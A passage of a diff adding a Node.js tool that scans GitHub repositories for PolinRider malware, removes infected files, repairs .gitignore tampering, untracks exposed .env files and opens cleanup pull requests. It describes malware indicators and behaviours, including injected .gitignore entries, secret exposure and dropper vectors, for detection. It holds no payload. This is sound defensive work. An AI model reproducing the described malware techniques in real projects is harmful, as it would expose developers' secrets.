a comma-separated list to scope a pilot run to +// specific repos and skip the listing. Each entry may be "name" (the account +// owner — GH_ORG or GH_USER — is prefixed) or "owner/name". Unset → scan every +// repo for the configured account (org repos, or the user's owned repos). + +const REPO_RE = /^[\w.-]+\/[\w.-]+$/; + +async function resolveTargetRepos() { + const scope = (process.env.GH_REPOS || process.env.GH_REPO || "").trim(); + if (scope) { + const repos = scope + .split(",") + .map((s) => s.trim()) + .filter(Boolean) + .map((r) => (r.includes("/") ? r : `${ACCOUNT.owner}/${r}`)); + const invalid = repos.filter((r) => !REPO_RE.test(r)); + if (invalid.length) { + console.error(chalk.red(`✖ Invalid repo name(s) in GH_REPO: ${invalid.join(", ")}`)); + process.exit(2); + } + console.log( + chalk.yellow(` Scoped run — ${repos.length} repo(s) from GH_REPO: ${chalk.bold(repos.join(", "))}`), + ); + return repos; + } + + const spinner = ora( + `Fetching repos for ${ACCOUNT.kind}: ${chalk.bold(ACCOUNT.owner)}`, + ).start(); + // Org → all repos in the org. User → repos OWNED by the authenticated user + // (affiliation=owner excludes repos you're only a collaborator/org member on). + const endpoint = + ACCOUNT.kind === "org" + ? `orgs/${ACCOUNT.owner}/repos` + : "user/repos?affiliation=owner"; + const list = await safeGh(["api", endpoint, "--paginate", "--jq", ".[].full_name"]); + if (list.exitCode !== 0) { + spinner.fail(`Failed to list ${ACCOUNT.kind} repos`); + console.error(list.stderr); + process.exit(2); + } + const repos = list.stdout.split("\n").map((r) => r.trim()).filter(Boolean); + spinner.succeed(`Found ${chalk.bold(repos.length)} repositories`); + return repos; +} + +// ─── Main ────────────────────────────────────────────────────────────────────── + +export async function main() { + ACCOUNT = resolveAccount(); + TOKEN = env("GH_TOKEN"); + DRY_RUN = process.env.DRY_RUN === "true"; + WORKSPACE = process.env.WORKSPACE || "/workspace"; + BRANCH_PREFIX = process.env.BRANCH_PREFIX || "fix/polinrider-cleanup"; + AUTO_MERGE = process.env.AUTO_MERGE === "true"; + MERGE_METHOD = (process.env.MERGE_METHOD || "squash").toLowerCase(); + if (!["squash", "merge", "rebase"].includes(MERGE_METHOD)) { + console.error(chalk.red(`✖ MERGE_METHOD must be squash|merge|rebase (got "${MERGE_METHOD}")`)); + process.exit(2); + } + REPORTS_DIR = process.env.REPORTS_DIR ?? "reports"; // set empty to disable + reportStamp = new Date(); + reportBase = REPORTS_DIR + ? path.join(REPORTS_DIR, `polinrider-${reportStamp.toISOString().replace(/[:.]/g, "-")}`) + : null; + + console.log(chalk.bold.cyan("\n╔══════════════════════════════════════╗")); + console.log(chalk.bold.cyan("║ PolinRider Org Cleanup Tool v2.0 ║")); + console.log(chalk.bold.cyan("╚══════════════════════════════════════╝")); + + const h = hardeningStatus(); + console.log( + chalk.gray( + ` hardening: eval ${h.evalBlocked ? "blocked" : chalk.red("OPEN")}, codegen-flag ${ + h.codegenFlag ? "on" : chalk.yellow("off") + }, launcher ${h.hardenedLaunch ? "on" : chalk.yellow("off")}`, + ), + ); + if (DRY_RUN) console.log(chalk.yellow.bold("\n ⚠ DRY RUN — no files written, no pushes or PRs\n")); + + await fs.mkdir(WORKSPACE, { recursive: true }); + + const results = { total: 0, clean: 0, infected: 0, remediated: 0, prOpened: 0, merged: 0, manualOnly: 0, errors: [], prs: [], repos: [] }; + + const repos = await resolveTargetRepos(); + results.total = repos.length; + + for (const fullName of repos) { + const repoName = fullName.split("/")[1]; + section(fullName); + let repoDir; + const record = { repo: fullName, severity: null, findings: [], deleted: [], modified: [], notes: [], manualReview: [], pr: null, error: null }; + try { + const cloneSpinner = ora(" Cloning...").start(); + repoDir = await cloneRepo(fullName); + cloneSpinner.succeed(chalk.gray(" Cloned")); + + const scanSpinner = ora(" Scanning...").start(); + const findings = await scanRepo(repoDir); + record.severity = findings.severity; + record.findings = findings.findings.map((f) => ({ + file: f.file, action: f.action, confidence: f.confidence, contentConfirmed: f.contentConfirmed, description: f.description, + })); + record.manualReview = findings.manualReview; + + if (findings.severity !== "infected") { + const note = findings.coPresenceAmplified ? " (suspicious file layout — no confirmed payload)" : ""; + scanSpinner.succeed(" " + chalk.green(`Clean — no PolinRider signatures found${note}`)); + results.clean++; + continue; + } + scanSpinner.warn(" " + chalk.red.bold("INFECTED — malware signatures detected")); + results.infected++; + indent(findingLines(findings)); + + const remSpinner = ora(" Remediating...").start(); + const result = await remediate(repoDir, findings, { dryRun: DRY_RUN }); + record.deleted = result.filesDeleted; + record.modified = result.filesModified; + record.notes = result.notes; + remSpinner.succeed(" " + chalk.magenta(DRY_RUN ? "Planned remediation (dry run)" : "Remediated")); + indent(resultLines(result)); + + if (DRY_RUN) continue; + + if (!result.changed) { + results.manualOnly++; + results.errors.push({ repo: fullName, reason: "infected but only manual-review items — no automated fix" }); + continue; + } + results.remediated++; + + const prSpinner = ora(" Creating PR...").start(); + const pr = await openPR(repoDir, fullName, findings, result); + if (pr.skipped) { + prSpinner.warn(` Skipped PR: ${pr.reason}`); + } else { + record.pr = { url: pr.url, merged: pr.merged, mergeError: pr.mergeError }; + results.prOpened++; + results.prs.push({ repo: fullName, url: pr.url, merged: pr.merged }); + if (pr.merged) { + results.merged++; + prSpinner.succeed(" " + chalk.green.bold(`PR merged: ${pr.url}`)); + } else if (pr.mergeError) { + prSpinner.warn(" " + chalk.yellow(`PR opened — auto-merge blocked (${pr.mergeError}); merge manually: ${pr.url}`)); + } else { + prSpinner.succeed(" " + chalk.blue.bold(`PR opened: ${pr.url}`)); + } + } + } catch (err) { + console.log(" " + chalk.red("✖ ") + chalk.bold(repoName) + " " + err.message); + record.error = err.message; + results.errors.push({ repo: fullName, reason: err.message }); + } finally { + if (repoDir) await fs.rm(repoDir, { recursive: true, force: true }).catch(() => {}); + results.repos.push(record); + await writeReports(results); // rewrite after every repo → live, crash-resilient trace + } + } + + await writeReports(results); + printSummary(results); + process.exit(results.infected > 0 && results.remediated < results.infected && !DRY_RUN ? 1 : 0); +} + +// Persist the run report (JSON + Markdown) to REPORTS_DIR. Rewritten after every +// repo so a trace survives even if the run is interrupted. Never fails the run. +async function writeReports(results) { + if (!REPORTS_DIR || !reportBase) return; + const run = { + scannedAt: reportStamp.toISOString(), + scannedAtHuman: reportStamp.toString(), + account: { kind: ACCOUNT.kind, owner: ACCOUNT.owner }, + dryRun: DRY_RUN, + autoMerge: AUTO_MERGE, + mergeMethod: MERGE_METHOD, + totals: { + total: results.total, clean: results.clean, infected: results.infected, + remediated: results.remediated, merged: results.merged, prOpened: results.prOpened, + manualOnly: results.manualOnly, errors: results.errors.length, + }, + repos: results.repos, + }; + try { + await fs.mkdir(REPORTS_DIR, { recursive: true }); + const json = JSON.stringify(buildRunJson(run), null, 2); + const md = buildRunMarkdown(run); + await fs.writeFile(`${reportBase}.json`, json); + await fs.writeFile(`${reportBase}.md`, md); + await fs.writeFile(path.join(REPORTS_DIR, "latest.json"), json); + await fs.writeFile(path.join(REPORTS_DIR, "latest.md"), md); + } catch (e) { + if (!reportWarned) { + reportWarned = true; + console.log(chalk.yellow(` ⚠ could not write reports to ${REPORTS_DIR}: ${e.message}`)); + } + } +} + +function printSummary(results) { + console.log("\n" + chalk.bold.cyan("══════════════════════════════════════")); + console.log(chalk.bold(" SUMMARY")); + console.log(chalk.bold.cyan("══════════════════════════════════════")); + console.log(` ${chalk.bold("Repos scanned:")} ${results.total}`); + console.log(` ${chalk.green.bold("Clean:")} ${results.clean}`); + console.log(` ${chalk.red.bold("Infected:")} ${results.infected}`); + console.log(` ${chalk.magenta.bold("Remediated:")} ${results.remediated}`); + console.log(` ${chalk.blue.bold("PRs opened:")} ${results.prOpened}`); + if (AUTO_MERGE) console.log(` ${chalk.green.bold("PRs merged:")} ${results.merged}`); + if (results.manualOnly) console.log(` ${chalk.yellow.bold("Manual review:")} ${results.manualOnly}`); + + if (results.prs.length) { + console.log("\n" + chalk.bold(" Pull Requests:")); + for (const { repo, url, merged } of results.prs) { + const mark = merged ? chalk.green("✔ merged") : chalk.blue("⎇ open"); + console.log(` ${mark} ${chalk.bold(repo)}\n ${url}`); + } + } + if (results.errors.length) { + console.log("\n" + chalk.yellow.bold(" Errors / needs manual review:")); + for (const { repo, reason } of results.errors) console.log(` ${chalk.yellow("⚠")} ${chalk.bold(repo)}: ${reason}`); + } + if (REPORTS_DIR && reportBase) { + console.log("\n " + chalk.gray(`Report written: ${reportBase}.md (and latest.md / .json in ${REPORTS_DIR}/)`)); + } + console.log(chalk.bold.cyan("══════════════════════════════════════\n")); +} + +// Auto-run only when executed directly (`node src/index.js`). When imported — +// by the launcher or a test — call main() explicitly instead. This keeps import +// side-effect-free (no env reads, no process.exit) so the module is testable. +const invokedDirectly = + process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url); +if (invokedDirectly) { + main().catch((err) => { + console.error(chalk.red("\nFatal error:"), err.message); + process.exit(2); + }); +} diff --git a/src/jsonc.js b/src/jsonc.js new file mode 100644 index 0000000..9f663ab --- /dev/null +++ b/src/jsonc.js @@ -0,0 +1,231 @@ +/** + * Tolerant JSONC parser for VS Code config files (which legitimately contain + * // and /* *\/ comments and trailing commas), plus an offset-based array + * splicer used for surgical removal of malicious task/launch entries. + * + * SAFETY: this parser is hand-written and uses ONLY string scanning + the + * built-in JSON.parse (on isolated string literals). It NEVER uses eval, the + * Function constructor, or node:vm. Parsing an attacker-controlled .vscode file + * therefore cannot execute anything. + * + * The AST records source offsets so the remediator can remove only the + * malicious entries and leave the surrounding bytes (and other entries) intact. + */ + +/** + * @typedef {Object} Node + * @property {'object'|'array'|'string'|'number'|'boolean'|'null'} type + * @property {*} value Decoded JS value of this node. + * @property {number} start Offset of the first character (inclusive). + * @property {number} end Offset just past the last character (exclusive). + * @property {Array} [elements] For arrays: child value Nodes, in order. + * @property {Array} [members] For objects: { key, keyNode, valueNode } entries. + */ + +/** + * Parse JSONC text. + * @returns {{ ok: boolean, value: *, ast: Node|null, error: Error|null }} + */ +export function parseJsonc(text) { + let i = 0; + const n = text.length; + + const fail = (msg) => { + const e = new Error(`JSONC parse error at offset ${i}: ${msg}`); + e.offset = i; + return e; + }; + + function skipWs() { + while (i < n) { + const c = text[i]; + if (c === " " || c === "\t" || c === "\n" || c === "\r" || c === "") { + i++; + continue; + } + if (c === "/" && text[i + 1] === "/") { + i += 2; + while (i < n && text[i] !== "\n") i++; + continue; + } + if (c === "/" && text[i + 1] === "*") { + i += 2; + while (i < n && !(text[i] === "*" && text[i + 1] === "/")) i++; + i += 2; + continue; + } + break; + } + } + + function parseString() { + const start = i; + if (text[i] !== '"') throw fail("expected string"); + i++; + while (i < n) { + const c = text[i]; + if (c === "\\") { + i += 2; + continue; + } + if (c === '"') { + i++; + break; + } + i++; + } + const raw = text.slice(start, i); + let value; + try { + value = JSON.parse(raw); // decode escapes safely; no code execution + } catch { + throw fail("invalid string literal"); + } + return { type: "string", value, start, end: i }; + } + + function parseNumber() { + const start = i; + const m = /^-?(?:0|[1-9]\d*)(?:\.\d+)?(?:[eE][+-]?\d+)?/.exec(text.slice(i)); + if (!m) throw fail("invalid number"); + i += m[0].length; + return { type: "number", value: Number(m[0]), start, end: i }; + } + + function parseObject() { + const start = i; + i++; // { + const members = []; + const value = {}; + skipWs(); + while (text[i] !== "}") { + if (i >= n) throw fail("unterminated object"); + const keyNode = parseString(); + skipWs(); + if (text[i] !== ":") throw fail("expected ':'"); + i++; + const valueNode = parseValue(); + members.push({ key: keyNode.value, keyNode, valueNode }); + value[keyNode.value] = valueNode.value; + skipWs(); + if (text[i] === ",") { + i++; + skipWs(); + } else break; + } + if (text[i] !== "}") throw fail("expected '}'"); + i++; + return { type: "object", members, value, start, end: i }; + } + + function parseArray() { + const start = i; + i++; // [ + const elements = []; + const value = []; + skipWs(); + while (text[i] !== "]") { + if (i >= n) throw fail("unterminated array"); + const el = parseValue(); + elements.push(el); + value.push(el.value); + skipWs(); + if (text[i] === ",") { + i++; + skipWs(); + } else break; + } + if (text[i] !== "]") throw fail("expected ']'"); + i++; + return { type: "array", elements, value, start, end: i }; + } + + function parseValue() { + skipWs(); + if (i >= n) throw fail("unexpected end of input"); + const c = text[i]; + if (c === "{") return parseObject(); + if (c === "[") return parseArray(); + if (c === '"') return parseString(); + if (c === "-" || (c >= "0" && c <= "9")) return parseNumber(); + if (text.startsWith("true", i)) { + const s = i; + i += 4; + return { type: "boolean", value: true, start: s, end: i }; + } + if (text.startsWith("false", i)) { + const s = i; + i += 5; + return { type: "boolean", value: false, start: s, end: i }; + } + if (text.startsWith("null", i)) { + const s = i; + i += 4; + return { type: "null", value: null, start: s, end: i }; + } + throw fail(`unexpected character ${JSON.stringify(c)}`); + } + + try { + skipWs(); + const ast = parseValue(); + skipWs(); + if (i < n) throw fail("trailing content after top-level value"); + return { ok: true, value: ast.value, ast, error: null }; + } catch (error) { + return { ok: false, value: undefined, ast: null, error }; + } +} + +/** + * Return the member's value Node for `key` on an object Node, or undefined. + */ +export function getMember(objectNode, key) { + if (!objectNode || objectNode.type !== "object") return undefined; + const m = objectNode.members.find((mem) => mem.key === key); + return m ? m.valueNode : undefined; +} + +/** + * Remove the array elements at `indicesToRemove` from `text`, given the array's + * AST Node. Removes each element together with one adjacent separator (the + * comma + surrounding whitespace) by deleting the span up to the next element's + * start — so the result stays valid JSON and the surviving elements keep their + * exact source bytes. Overlapping spans (e.g. removing adjacent elements) are + * merged before applying. + * + * @returns {string} the edited text + */ +export function removeArrayElements(text, arrayNode, indicesToRemove) { + if (!arrayNode || arrayNode.type !== "array") { + throw new Error("removeArrayElements: arrayNode must be an array Node"); + } + const remove = new Set(indicesToRemove); + const els = arrayNode.elements; + const spans = []; + for (let k = 0; k < els.length; k++) { + if (!remove.has(k)) continue; + if (k < els.length - 1) { + spans.push([els[k].start, els[k + 1].start]); // element + trailing comma/ws + } else if (k > 0) { + spans.push([els[k - 1].end, els[k].end]); // leading comma/ws + last element + } else { + spans.push([els[k].start, els[k].end]); // sole element + } + } + if (spans.length === 0) return text; + + // Merge overlapping/adjacent spans, then delete from the end backward so + // earlier offsets stay valid. + spans.sort((a, b) => a[0] - b[0]); + const merged = [spans[0].slice()]; + for (let s = 1; s < spans.length; s++) { + const last = merged[merged.length - 1]; + if (spans[s][0] <= last[1]) last[1] = Math.max(last[1], spans[s][1]); + else merged.push(spans[s].slice()); + } + merged.sort((a, b) => b[0] - a[0]); + let out = text; + for (const [start, end] of merged) out = out.slice(0, start) + out.slice(end); + return out; +} diff --git a/src/remediator.js b/src/remediator.js new file mode 100644 index 0000000..b2deb57 --- /dev/null +++ b/src/remediator.js @@ -0,0 +1,216 @@ +/** + * Surgical remediation. Consumes a Findings report and removes ONLY what is + * confirmed malicious, preserving legitimate code, tasks, launch configs, and + * fonts. Every edit is re-verified against the current file content at apply + * time, so a stale finding can never truncate the wrong bytes. + * + * dryRun=true records what WOULD change without touching any file. + * + * @typedef {Object} RemediationResult + * @property {boolean} changed true iff files were actually modified/deleted + * @property {boolean} dryRun + * @property {Array} applied findings (or hygiene steps) that were acted on + * @property {Array<{finding:Object, reason:string}>} skipped + * @property {string[]} filesModified + * @property {string[]} filesDeleted + * @property {string[]} notes hygiene actions (gitignore, env untracking) + */ + +import fs from "node:fs/promises"; +import { existsSync } from "node:fs"; +import path from "node:path"; +import * as sig from "./signatures.js"; +import { locatePayloadOffset } from "./scanner.js"; +import { safeGit } from "./safe-exec.js"; + +/** + * @param {string} repoDir + * @param {import('./scanner.js').Findings} findings + * @param {{ dryRun?: boolean, git?: Function }} [opts] + * @returns {Promise} + */ +export async function remediate(repoDir, findings, opts = {}) { + const { dryRun = false, git = safeGit } = opts; + const result = { + changed: false, + dryRun, + applied: [], + skipped: [], + filesModified: [], + filesDeleted: [], + notes: [], + }; + + for (const f of findings.findings) { + switch (f.action) { + case "strip-js-payload": + await stripJsPayload(repoDir, f, result, dryRun); + break; + case "remove-dir": + await deleteDir(f, result, dryRun); + break; + case "delete-font": + case "remove-artifact": + await deleteFile(f, result, dryRun); + break; + case "remove-font-set": + await deleteFileSet(f, result, dryRun); + break; + case "fix-gitignore": + // handled by the always-on gitignore hygiene step below + break; + case "manual-review": + result.skipped.push({ finding: f, reason: "manual review required — not auto-removed" }); + break; + default: + result.skipped.push({ finding: f, reason: `unknown action "${f.action}"` }); + } + } + + // Hygiene (idempotent): undo the malware's .gitignore tampering and unexpose + // any committed secrets. Mirrors the original remediate.sh behavior. + await hardenGitignore(repoDir, result, dryRun); + await untrackEnvFiles(repoDir, result, dryRun, git); + + result.changed = + !dryRun && (result.filesModified.length > 0 || result.filesDeleted.length > 0); + return result; +} + +function recordModified(result, file) { + if (!result.filesModified.includes(file)) result.filesModified.push(file); +} +function recordDeleted(result, file) { + if (!result.filesDeleted.includes(file)) result.filesDeleted.push(file); +} + +// ─── strip-js-payload ──────────────────────────────────────────────────────────── + +async function stripJsPayload(repoDir, f, result, dryRun) { + const absPath = f.edit?.absPath ?? path.join(repoDir, f.file); + let text; + try { + text = await fs.readFile(absPath, "utf8"); + } catch { + result.skipped.push({ finding: f, reason: "file unreadable" }); + return; + } + // Re-locate against current content rather than trusting the stored offset. + const variant = sig.JS_VARIANTS.find((v) => v.id === f.edit?.variantId); + const offset = variant ? locatePayloadOffset(text, variant) : f.edit?.offset ?? -1; + if (!(offset > 0) || offset > text.length) { + result.skipped.push({ finding: f, reason: "could not locate payload start safely" }); + return; + } + const kept = text.slice(0, offset).replace(/\s+$/, ""); + if (kept.length === 0) { + result.skipped.push({ finding: f, reason: "stripping would empty the file" }); + return; + } + if (!dryRun) await fs.writeFile(absPath, kept + "\n", "utf8"); + result.applied.push(f); + recordModified(result, f.file); +} + +// ─── remove-dir (whole .vscode / fonts directory) ─────────────────────────────── + +async function deleteDir(f, result, dryRun) { + const absPath = f.edit?.absPath; + if (!absPath || !existsSync(absPath)) { + result.skipped.push({ finding: f, reason: "already gone" }); + return; + } + if (!dryRun) await fs.rm(absPath, { recursive: true, force: true }); + result.applied.push(f); + recordDeleted(result, f.file); +} + +// ─── delete-font / remove-artifact ─────────────────────────────────────────────── + +async function deleteFile(f, result, dryRun) { + const absPath = f.edit?.absPath; + if (!absPath || !existsSync(absPath)) { + result.skipped.push({ finding: f, reason: "already gone" }); + return; + } + if (!dryRun) await fs.rm(absPath, { force: true }); + result.applied.push(f); + recordDeleted(result, f.file); +} + +// ─── remove-font-set (carrier + its fa-* disguise siblings + README) ───────────── +// +// Removes a specific set of files inside a fonts/ dir while preserving the clean +// fonts that share it. Each path is deleted individually and recorded by its +// repo-relative name. + +async function deleteFileSet(f, result, dryRun) { + const removals = Array.isArray(f.edit?.removals) ? f.edit.removals : []; + let any = false; + for (const { abs, rel } of removals) { + if (!abs || !existsSync(abs)) continue; + if (!dryRun) await fs.rm(abs, { force: true }); + recordDeleted(result, rel); + any = true; + } + if (any) result.applied.push(f); + else result.skipped.push({ finding: f, reason: "already gone" }); +} + +// ─── .gitignore hygiene ────────────────────────────────────────────────────────── + +async function hardenGitignore(repoDir, result, dryRun) { + const file = path.join(repoDir, ".gitignore"); + let content = ""; + try { + content = await fs.readFile(file, "utf8"); + } catch { + content = ""; + } + let lines = content.length ? content.split(/\r?\n/) : []; + const original = lines.join("\n"); + + // 1. Remove every malware-injected line (config.bat, temp_*.bat, branch_structure.json). + lines = lines.filter((l) => !sig.GITIGNORE_INJECTED.includes(l.trim())); + // 2. Ensure standard .env patterns are ignored (malware removes them to expose secrets). + const present = new Set(lines.map((l) => l.trim())); + for (const pat of sig.ENV_PATTERNS) { + if (!present.has(pat)) { + lines.push(pat); + present.add(pat); + } + } + const next = lines.join("\n"); + if (next === original) return; // nothing to change + + if (!dryRun) { + await fs.writeFile(file, next.endsWith("\n") ? next : next + "\n", "utf8"); + } + recordModified(result, ".gitignore"); + result.notes.push( + `${dryRun ? "would remove" : "removed"} malware-injected entries from .gitignore and ensure${ + dryRun ? "" : "d" + } .env patterns are ignored`, + ); +} + +// ─── committed .env untracking ───────────────────────────────────────────────────── + +async function untrackEnvFiles(repoDir, result, dryRun, git) { + if (!existsSync(path.join(repoDir, ".git"))) return; + const literals = sig.ENV_PATTERNS.filter((p) => !p.includes("*")); + for (const pat of literals) { + if (!existsSync(path.join(repoDir, pat))) continue; + const tracked = await git(["-C", repoDir, "ls-files", "--error-unmatch", pat]); + if (tracked.exitCode !== 0) continue; // not committed → nothing to untrack + if (dryRun) { + result.notes.push(`would untrack ${pat} from the git index`); + continue; + } + const rm = await git(["-C", repoDir, "rm", "--cached", "--force", pat]); + if (rm.exitCode === 0) { + result.notes.push(`untracked ${pat} from the git index`); + recordModified(result, pat); + } + } +} diff --git a/src/report.js b/src/report.js new file mode 100644 index 0000000..7dc611a --- /dev/null +++ b/src/report.js @@ -0,0 +1,172 @@ +/** + * Rendering helpers: turn a Findings report + RemediationResult into console + * lines and a Markdown PR body. Pure string building — no I/O, no styling + * dependency (the orchestrator applies colors). + */ + +const PR_TITLE = "security: remove PolinRider malware artifacts"; + +/** Plain lines describing what the scanner found (for console output). */ +export function findingLines(findings) { + return findings.findings.map((f) => { + const tag = f.contentConfirmed ? "[confirmed]" : "[review]"; + return `${tag} ${f.file}: ${f.description}`; + }); +} + +/** Plain lines describing what remediation did (or would do). */ +export function resultLines(result) { + const verb = result.dryRun ? "would " : ""; + const lines = []; + for (const f of result.applied) { + lines.push(`${verb}fixed ${f.file}: ${f.description ?? f.action}`); + } + for (const n of result.notes) lines.push(n); + for (const s of result.skipped) { + lines.push(`skipped ${s.finding.file}: ${s.reason}`); + } + return lines; +} + +/** + * Build a Markdown PR body that lists exactly what changed, plus a manual-review + * section. Replaces the old static PR_BODY so reviewers see a precise diff. + */ +export function buildPrBody({ findings, result }) { + const out = []; + out.push("## PolinRider malware cleanup"); + out.push(""); + out.push( + "Automatically generated by polinrider-remover. Every change below was confirmed by a known PolinRider signature. The scanner reads files as inert text and never executes them.", + ); + out.push(""); + + const REMOVAL_ACTIONS = new Set(["remove-dir", "remove-font-set", "delete-font", "remove-artifact"]); + const fixed = []; + for (const f of result.applied) { + const what = REMOVAL_ACTIONS.has(f.action) || result.filesDeleted.includes(f.file) ? "removed" : "cleaned"; + fixed.push(`- \`${f.file}\`: ${what} — ${f.description ?? f.action}`); + } + for (const n of result.notes) fixed.push(`- ${n}`); + + if (fixed.length) { + out.push("### Removed / fixed"); + out.push(...fixed); + out.push(""); + } + + const review = [ + ...findings.manualReview.map((m) => `- ${m}`), + ...result.skipped.map((s) => `- \`${s.finding.file}\`: ${s.reason}`), + ]; + if (review.length) { + out.push("### Needs manual review"); + out.push(...review); + out.push(""); + } + + out.push( + "> ⚠️ Also check the affected developer's machine for the initial dropper (a malicious npm global package or VS Code extension), and rotate any secrets that may have been exposed via committed `.env` files.", + ); + out.push(""); + return out.join("\n"); +} + +export { PR_TITLE }; + +// ─── Whole-run report (persisted to the reports volume) ───────────────────────── +// +// A `run` object is assembled by the orchestrator: +// { scannedAt, scannedAtHuman, account:{kind,owner}, dryRun, autoMerge, mergeMethod, +// totals:{total,clean,infected,remediated,merged,prOpened,manualOnly,errors}, +// repos:[ { repo, severity, findings:[{file,action,confidence,contentConfirmed,description}], +// deleted:[], modified:[], notes:[], manualReview:[], +// pr:{url,merged,mergeError}|null, error:string|null } ] } + +/** Machine-readable run report. */ +export function buildRunJson(run) { + return { schema: "polinrider-run/1", ...run }; +} + +function repoChangeSummary(r) { + const parts = []; + if (r.deleted?.length) parts.push(`removed: ${r.deleted.join(", ")}`); + if (r.modified?.length) parts.push(`cleaned: ${r.modified.join(", ")}`); + for (const n of r.notes ?? []) parts.push(n); + return parts.join(" · ") || "—"; +} + +/** Human-readable Markdown run report (clickable PR links + per-repo trace). */ +export function buildRunMarkdown(run) { + const t = run.totals; + const out = []; + out.push("# PolinRider Malware Scan — Remediation Report"); + out.push(""); + out.push(`**Last scanned:** ${run.scannedAtHuman ?? run.scannedAt}`); + out.push(`**Account:** ${run.account.kind} \`${run.account.owner}\``); + const modes = []; + if (run.dryRun) modes.push("DRY RUN — no changes written"); + modes.push(run.autoMerge ? `auto-merge: on (${run.mergeMethod})` : "auto-merge: off"); + out.push(`**Mode:** ${modes.join(" · ")}`); + out.push(""); + + out.push("## Summary"); + out.push(""); + out.push("| Metric | Count |"); + out.push("| --- | ---: |"); + out.push(`| Repos scanned | ${t.total} |`); + out.push(`| Clean | ${t.clean} |`); + out.push(`| Infected | ${t.infected} |`); + out.push(`| Remediated | ${t.remediated} |`); + out.push(`| PRs opened | ${t.prOpened} |`); + if (run.autoMerge) out.push(`| PRs merged | ${t.merged} |`); + out.push(`| Needs manual review | ${t.manualOnly} |`); + out.push(`| Errors | ${t.errors} |`); + out.push(""); + + const withPr = run.repos.filter((r) => r.pr && r.pr.url); + if (withPr.length) { + out.push(`## Pull requests (${withPr.length})`); + out.push(""); + out.push("Review and merge the PR for the project(s) you work on."); + out.push(""); + out.push("| Repository | Pull request | Status | Changes |"); + out.push("| --- | --- | --- | --- |"); + for (const r of withPr) { + const name = r.repo.split("/")[1] ?? r.repo; + const num = r.pr.url.split("/pull/")[1] ?? "PR"; + const status = r.pr.merged ? "✅ merged" : r.pr.mergeError ? "⚠️ merge blocked" : "open"; + out.push( + `| [${name}](https://github.com/${r.repo}) | [#${num}](${r.pr.url}) | ${status} | ${repoChangeSummary(r)} |`, + ); + } + out.push(""); + } + + const attention = run.repos.filter( + (r) => + r.error || + (r.pr && r.pr.mergeError) || + (r.manualReview && r.manualReview.length) || + (r.severity === "infected" && !(r.pr && r.pr.url) && !run.dryRun), + ); + if (attention.length) { + out.push("## Needs attention"); + out.push(""); + for (const r of attention) { + const bits = []; + if (r.error) bits.push(`error: ${r.error}`); + if (r.pr && r.pr.mergeError) bits.push(`auto-merge blocked: ${r.pr.mergeError}`); + if (r.manualReview?.length) bits.push(`manual review: ${r.manualReview.join("; ")}`); + if (r.severity === "infected" && !(r.pr && r.pr.url) && !run.dryRun && !r.error) + bits.push("infected but no automated fix applied"); + out.push(`- **${r.repo}** — ${bits.join(" · ").replace(/\s+/g, " ").trim()}`); + } + out.push(""); + } + + out.push("---"); + out.push(`_Generated by polinrider-remover at ${run.scannedAt}._`); + out.push(""); + return out.join("\n"); +} diff --git a/src/safe-exec.js b/src/safe-exec.js new file mode 100644 index 0000000..666a123 --- /dev/null +++ b/src/safe-exec.js @@ -0,0 +1,151 @@ +/** + * Subprocess allowlist — the single choke point for every external process. + * + * The V8 flag (--disallow-code-generation-from-strings) cannot stop a spawned + * `node -e ""` or `bash -c ""`; this wrapper can, and does, by + * permitting ONLY `git` and `gh` with an allowlisted set of subcommands. Every + * subprocess in the tool MUST go through here — never call execa/spawn directly. + * + * It also hardens git itself: hooks disabled, system/global config ignored, + * non-interactive, and `--no-verify` on commit/push — so a repo can never get + * code to run via a git hook during clone/commit/push. + */ + +import { execa } from "execa"; +import os from "node:os"; + +// command → set of allowed first subcommands. +const ALLOWED = new Map([ + [ + "git", + new Set([ + "clone", + "config", + "checkout", + "add", + "diff", + "commit", + "push", + "rm", + "reflog", + "rev-parse", + "status", + "ls-files", + ]), + ], + ["gh", new Set(["api", "pr"])], +]); + +// git global options that consume the FOLLOWING token as their value. +const GIT_VALUE_OPTS = new Set([ + "-C", + "-c", + "--git-dir", + "--work-tree", + "--namespace", + "--exec-path", +]); + +// Disable hooks on every git call. os.devNull is not a hooks directory, so git +// finds no hooks and runs none. Cross-platform (/dev/null | \\.\nul). +const HOOK_GUARD = ["-c", `core.hooksPath=${os.devNull}`]; + +export class CommandNotAllowedError extends Error { + constructor(message) { + super(message); + this.name = "CommandNotAllowedError"; + } +} + +/** Return the first non-option token (the subcommand), skipping value-options. */ +function firstSubcommand(args, valueOpts) { + for (let i = 0; i < args.length; i++) { + const a = args[i]; + if (typeof a !== "string") continue; + if (!a.startsWith("-")) return a; + if (a.includes("=")) continue; // --opt=value is a single token + if (valueOpts && valueOpts.has(a)) i++; // option consumes the next token + } + return undefined; +} + +/** + * Validate a command + args against the allowlist. Throws CommandNotAllowedError + * synchronously on any violation. Exported so callers/tests can pre-validate. + */ +export function assertAllowed(cmd, args = []) { + if (typeof cmd !== "string" || cmd.length === 0) { + throw new CommandNotAllowedError("command must be a non-empty string"); + } + if (cmd.includes("/") || cmd.includes("\\")) { + throw new CommandNotAllowedError( + `refusing path-bearing command "${cmd}" — only the bare names "git"/"gh" are allowed`, + ); + } + if (!ALLOWED.has(cmd)) { + throw new CommandNotAllowedError( + `command "${cmd}" is not on the allowlist (allowed: git, gh)`, + ); + } + const sub = firstSubcommand(args, cmd === "git" ? GIT_VALUE_OPTS : null); + if (!sub || !ALLOWED.get(cmd).has(sub)) { + throw new CommandNotAllowedError( + `subcommand "${sub ?? "(none)"}" is not allowed for "${cmd}"`, + ); + } + return { cmd, sub }; +} + +/** + * Run an allowlisted command. Not declared `async` so allowlist violations throw + * synchronously (before any process is spawned); on success it returns execa's + * promise. Defaults to reject:false so callers inspect `exitCode` themselves. + */ +export function safeExec(cmd, args = [], opts = {}) { + assertAllowed(cmd, args); + return execa(cmd, args, { reject: false, shell: false, ...opts }); +} + +function gitEnv(extra) { + return { + ...extra, + GIT_CONFIG_NOSYSTEM: "1", // ignore /etc/gitconfig + GIT_CONFIG_GLOBAL: os.devNull, // ignore ~/.gitconfig (no hijacked hooksPath) + GIT_TERMINAL_PROMPT: "0", // never block on an interactive credential prompt + }; +} + +/** + * Build the final git argv: prepend hook-disabling config and append + * `--no-verify` to commit/push. Pure — exported for testing. + */ +export function buildGitArgs(args = []) { + const finalArgs = [...HOOK_GUARD, ...args]; + const sub = firstSubcommand(finalArgs, GIT_VALUE_OPTS); + if ((sub === "commit" || sub === "push") && !finalArgs.includes("--no-verify")) { + finalArgs.push("--no-verify"); + } + 